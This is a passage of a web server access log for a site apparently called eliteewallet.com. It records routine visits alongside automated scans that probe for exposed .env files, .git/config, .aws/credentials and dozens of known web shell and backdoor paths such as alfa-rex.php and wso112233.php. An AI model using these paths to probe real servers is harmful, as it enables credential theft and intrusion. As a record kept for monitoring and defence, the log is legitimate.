HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [09/Feb/2026:09:19:19 +0300] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 120.71.59.24 - - [09/Feb/2026:10:57:31 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.164.197.224 - - [09/Feb/2026:11:01:49 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 94.176.3.109 - - [09/Feb/2026:09:38:14 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 192.109.139.89 - - [09/Feb/2026:09:41:09 +0300] "GET //.env HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 20.220.144.75 - - [09/Feb/2026:11:31:54 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 178.20.42.76 - - [09/Feb/2026:12:21:14 +0300] "GET /hello-world/ HTTP/1.0" 301 795 "http://eliteewallet.com/hello-world/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 CCleaner/130.0.0.0" 43.133.91.48 - - [09/Feb/2026:12:03:09 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 170.64.203.53 - - [09/Feb/2026:12:04:29 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 91.212.150.122 - - [09/Feb/2026:12:21:13 +0300] "GET /hello-world/ HTTP/1.0" 301 795 "http://eliteewallet.com/hello-world/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 34.221.57.59 - - [09/Feb/2026:11:38:01 +0300] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; ja-jp) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27" 87.121.84.115 - - [09/Feb/2026:13:34:56 +0300] "GET /plugins/jquery-file-upload/server/php/index.php?file=tf2rghf.jpg HTTP/1.1" 301 795 "-" "ALittle Client" 20.48.253.154 - - [09/Feb/2026:14:08:52 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.48.253.154 - - [09/Feb/2026:14:10:28 +0300] "GET /vx.php HTTP/1.1" 301 795 "-" "-" 20.48.253.154 - - [09/Feb/2026:14:09:57 +0300] "GET /past1.php HTTP/1.1" 301 795 "-" "-" 20.48.253.154 - - [09/Feb/2026:14:09:44 +0300] "GET /jga.php HTTP/1.1" 301 795 "-" "-" 20.48.253.154 - - [09/Feb/2026:14:10:17 +0300] "GET /ol.php HTTP/1.1" 301 795 "-" "-" 20.48.253.154 - - [09/Feb/2026:14:10:20 +0300] "GET /bk.php HTTP/1.1" 301 795 "-" "-" 85.198.109.165 - - [09/Feb/2026:15:01:55 +0300] "GET /hello-world/ HTTP/1.0" 301 795 "http://eliteewallet.com/hello-world/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 CCleaner/130.0.0.0" 20.48.253.154 - - [09/Feb/2026:14:09:24 +0300] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 20.48.253.154 - - [09/Feb/2026:14:10:04 +0300] "GET /8xyz.php HTTP/1.1" 301 795 "-" "-" 20.48.253.154 - - [09/Feb/2026:14:09:02 +0300] "GET /166.php HTTP/1.1" 301 795 "-" "-" 20.48.253.154 - - [09/Feb/2026:14:09:34 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "-" 20.48.253.154 - - [09/Feb/2026:14:09:37 +0300] "GET /k.php HTTP/1.1" 301 795 "-" "-" 20.48.253.154 - - [09/Feb/2026:14:10:36 +0300] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 194.31.72.75 - - [09/Feb/2026:15:00:34 +0300] "GET /hello-world/ HTTP/1.0" 301 795 "http://eliteewallet.com/hello-world/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Avast/131.0.0.0" 20.48.253.154 - - [09/Feb/2026:14:09:17 +0300] "GET /reze.php HTTP/1.1" 301 795 "-" "-" 170.64.203.53 - - [09/Feb/2026:16:01:26 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 207.180.240.134 - - [09/Feb/2026:15:54:54 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 178.128.99.238 - - [09/Feb/2026:16:18:14 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://duckduckgo.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" 34.59.106.243 - - [09/Feb/2026:15:34:20 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4240.193 Safari/537.36" 54.234.220.206 - - [09/Feb/2026:15:36:55 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 170.106.11.141 - - [09/Feb/2026:16:49:23 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 23.100.100.51 - - [09/Feb/2026:17:11:47 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 203.95.196.90 - - [09/Feb/2026:16:39:05 +0300] "GET //wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 170.64.203.53 - - [09/Feb/2026:18:28:27 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 173.252.82.15 - - [09/Feb/2026:17:27:48 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 102.129.234.202 - - [09/Feb/2026:17:32:23 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 49.51.39.209 - - [09/Feb/2026:17:39:08 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 68.183.179.109 - - [09/Feb/2026:18:10:52 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" 157.20.32.166 - - [09/Feb/2026:18:31:54 +0300] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 157.20.32.166 - - [09/Feb/2026:18:31:54 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 157.20.32.166 - - [09/Feb/2026:18:32:00 +0300] "GET /.env.production HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 157.20.32.166 - - [09/Feb/2026:18:32:06 +0300] "GET /.env.staging HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 157.20.32.166 - - [09/Feb/2026:18:32:11 +0300] "GET /api/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 157.20.32.166 - - [09/Feb/2026:18:32:17 +0300] "GET /admin/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 157.20.32.166 - - [09/Feb/2026:18:32:23 +0300] "GET /.env.save HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 157.20.32.166 - - [09/Feb/2026:18:32:28 +0300] "GET /app/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 157.20.32.166 - - [09/Feb/2026:18:32:33 +0300] "GET /backend/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 157.20.32.166 - - [09/Feb/2026:18:32:38 +0300] "GET /frontend/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 157.20.32.166 - - [09/Feb/2026:18:32:41 +0300] "GET /.env.local HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 157.20.32.166 - - [09/Feb/2026:18:32:45 +0300] "GET /config/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 157.20.32.166 - - [09/Feb/2026:18:32:50 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 157.20.32.166 - - [09/Feb/2026:18:32:51 +0300] "GET /dev/.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 157.20.32.166 - - [09/Feb/2026:18:32:51 +0300] "GET /admin/.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 157.20.32.166 - - [09/Feb/2026:18:32:52 +0300] "GET /v2/.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 157.20.32.166 - - [09/Feb/2026:18:32:52 +0300] "GET /wp/.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 157.20.32.166 - - [09/Feb/2026:18:32:52 +0300] "GET /test/.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 157.20.32.166 - - [09/Feb/2026:18:32:53 +0300] "GET /app/.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 157.20.32.166 - - [09/Feb/2026:18:32:53 +0300] "GET /backup/.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 157.20.32.166 - - [09/Feb/2026:18:32:54 +0300] "GET /site/.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 157.20.32.166 - - [09/Feb/2026:18:32:54 +0300] "GET /api/.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 157.20.32.166 - - [09/Feb/2026:18:32:54 +0300] "GET /new/.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 157.20.32.166 - - [09/Feb/2026:18:32:55 +0300] "GET /.aws/credentials HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 185.191.171.1 - - [09/Feb/2026:18:55:45 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; SemrushBot/7~bl; +http://www.semrush.com/bot.html)" 45.61.162.185 - - [09/Feb/2026:20:33:00 +0300] "GET /admin.php?520 HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 170.64.203.53 - - [09/Feb/2026:20:14:21 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.61.162.185 - - [09/Feb/2026:20:33:32 +0300] "GET /about.php?520 HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 44.195.201.244 - - [09/Feb/2026:19:42:19 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5 (TestUserAgent)" 93.158.90.43 - - [09/Feb/2026:21:41:25 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E148 Safari/604" 137.184.39.203 - - [09/Feb/2026:21:48:29 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 137.184.39.203 - - [09/Feb/2026:21:48:30 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 34.69.2.85 - - [09/Feb/2026:22:14:46 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 170.106.163.48 - - [09/Feb/2026:23:44:48 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 150.109.46.88 - - [09/Feb/2026:22:42:24 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 172.213.144.187 - - [09/Feb/2026:23:47:11 +0300] "GET /wp-admin/user/admin.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:47:32 +0300] "GET /bypass.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:48:12 +0300] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:48:14 +0300] "GET /ALFA_DATA/index.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:48:54 +0300] "GET /wp-content/uploads/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:49:01 +0300] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:49:33 +0300] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:49:44 +0300] "GET /admin/editor/engine.php HTTP/1.1" 301 795 "-" "-" 20.151.2.11 - - [09/Feb/2026:23:50:00 +0300] "GET /8xyz.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:50:06 +0300] "GET /wp-includes/pomo/rk2.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:50:24 +0300] "GET /xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:51:57 +0300] "GET /wp-admin/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:52:01 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:54:29 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:54:40 +0300] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:56:08 +0300] "GET /wp-content/config.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:56:15 +0300] "GET /wp-includes/Requests/file.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:56:21 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:56:23 +0300] "GET /wp-activate.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:57:15 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:57:43 +0300] "GET /.well-known/content.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:57:46 +0300] "GET /include/wp-configs.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:58:03 +0300] "GET /index/index.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:58:22 +0300] "GET /cache-compat.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:58:25 +0300] "GET /wp-admin/update.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:00:08 +0300] "GET /link.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:00:14 +0300] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:00:14 +0300] "GET /berlin.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:00:24 +0300] "GET /wp-content/themes/wp-pridmag/up.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:01:13 +0300] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:01:21 +0300] "GET /.well-known/acme-challenge/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:01:24 +0300] "GET /wp-content/themes/twentytwentytwo/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:01:32 +0300] "GET /wp-admin/css/colors/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:01:36 +0300] "GET /wp-includes/Text/Diff/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:01:39 +0300] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:01:42 +0300] "GET /wp-includes/certificates/index.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:01:46 +0300] "GET /wp-admin/css/colors/coffee/about.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:02:14 +0300] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:02:17 +0300] "GET /wp-admin/css/colors/blue/lock.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:49:21 +0300] "GET /avaa.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:49:24 +0300] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:49:50 +0300] "GET /wp-includes/theme-compat/chosen.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:51:26 +0300] "GET /.well-known/acme-challenge/wso112233.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:53:35 +0300] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:53:39 +0300] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:53:42 +0300] "GET /wp-includes/images/media/text.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:53:48 +0300] "GET /images/lmfi2.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:53:53 +0300] "GET /ebs.php7 HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:54:20 +0300] "GET /wp-content/plugins/pwnd/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:58:50 +0300] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:58:53 +0300] "GET /ae.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:58:56 +0300] "GET /wp-includes/fonts/admin.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:58:58 +0300] "GET /wp-content/themes/astra/inc/network.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:00:37 +0300] "GET /wp-includes/html-api/chosen.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:01:55 +0300] "GET /wp-includes/images/smilies/index.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:01:57 +0300] "GET /wp-admin/admin-post.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:02:00 +0300] "GET /wp-includes/wp-includes/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:02:02 +0300] "GET /wp-content/themes/seotheme/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:02:06 +0300] "GET /log.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:02:09 +0300] "GET /wp-includes/sodium_compat/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:02:33 +0300] "GET /install.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:02:36 +0300] "GET /wp-p.php7 HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:02:40 +0300] "GET /wp-admin/network/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:02:43 +0300] "GET /wp-comments-post.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:02:44 +0300] "GET /geju.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:02:47 +0300] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:02:50 +0300] "GET /.well-known/cache-compat.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:02:53 +0300] "GET /wp-content/uploads/json.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:02:56 +0300] "GET /wp-admin/includes/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:02:59 +0300] "GET /wp-includes/sodium_compat/index.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:03:02 +0300] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:03:48 +0300] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:04:24 +0300] "GET /wp-content/uploads/2024/index.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:05:10 +0300] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:05:12 +0300] "GET /wp-includes/style-engine/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:05:14 +0300] "GET /wp-admin/includes/cong.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:05:55 +0300] "GET /wp-content/plugins/Cache/footer.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:48:25 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:48:26 +0300] "GET /wp-content/plugins/google-seo-rank/module.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:48:30 +0300] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:49:08 +0300] "GET /wp-admin/js/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:50:39 +0300] "GET /admin-post.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:50:57 +0300] "GET /bg/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:51:46 +0300] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:52:45 +0300] "GET /post.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:53:30 +0300] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:55:28 +0300] "GET /wp-includes/block-patterns/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:55:32 +0300] "GET /wp-includes/php-compat/chosen.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:57:04 +0300] "GET /wp-includes/html-api/about.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:57:51 +0300] "GET /wp-includes/js/codemirror/index.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:57:53 +0300] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:57:56 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:57:56 +0300] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:57:58 +0300] "GET /cgi-bin/upfile.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:03:12 +0300] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 404 796 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:03:12 +0300] "GET /wp-includes/Text/index.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:03:15 +0300] "GET /wp-content/themes/aahana/json.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:03:32 +0300] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:03:34 +0300] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:04:19 +0300] "GET /hoot.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [10/Feb/2026:00:04:33 +0300] "GET /plugins.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:48:45 +0300] "GET /wp-content/content.php HTTP/1.1" 301 795 "-" "-" 172.213.144.187 - - [09/Feb/2026:23:49:16 +0300] "GET /wp-admin/function.php HTTP/1.1" 301 795 "-" "-" 20.151.2.11 - - [09/Feb/2026:23:49:45 +0300] "GET /k.php HTTP/1.1" 301 795 "-" "-" 20.151.2.11 - - [09/Feb/2026:23:49:55 +0300] "GET /past1.php HTTP/1.1" 301 795 "-" "-" 